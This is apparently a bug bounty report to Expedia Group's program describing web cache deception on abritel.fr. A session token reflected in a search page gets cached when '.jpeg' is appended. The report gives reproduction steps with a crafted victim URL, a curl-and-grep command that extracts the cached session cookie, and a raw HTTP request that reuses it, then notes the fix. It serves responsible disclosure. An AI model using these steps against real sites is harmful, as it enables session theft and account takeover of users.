Expedia Group Bug Bounty · Report #1698316
Cache Deception Allows Account Takeover
Summary
I was able to Takeover Accounts via Cache Deception
This was possible due to:
-
The Session Token was reflected on https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/{anything} and the server was responding with a 200 Ok (200 Ok responses allows the cache to last a lot longer than any other response)
-
The Caching Server sees https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/cached.jpeg as a "cacheable" response, due to
jpegextension at the end of the URL, the server will save it
Team fixed this by removing the Session Token from all pages, which is what I now recommend for all programs.
How it was found
Summary:
I'm able to extract user's session (HASESSIONV3) as it is disclosed in a cacheable page, allowing me to access the ha.crumb token located in /traveler/profile/edit
GET /traveler/profile/edit HTTP/2
Host: www.abritel.fr
Cookie: HASESSIONV3=<use the token here>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true
Upgrade-Insecure-Requests: 1
Te: trailers
Steps To Reproduce:
Victim Steps:
1->Visit https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis
Attacker Steps:
1->Visit the same URL using any other browser or do
curl 'https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis' --compressed | grep -i 'HASESSIONV3'
{F1923081}
2-> use the token
GET /traveler/profile/edit HTTP/2
Host: www.abritel.fr
Cookie: HASESSIONV3=<use the token here>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true
Upgrade-Insecure-Requests: 1
Te: trailers
and look for the ha.crumb variable in the response
Recommended Remediation Steps
- Add cache rules for certain all cacheable extensions
Impact
Account Takeover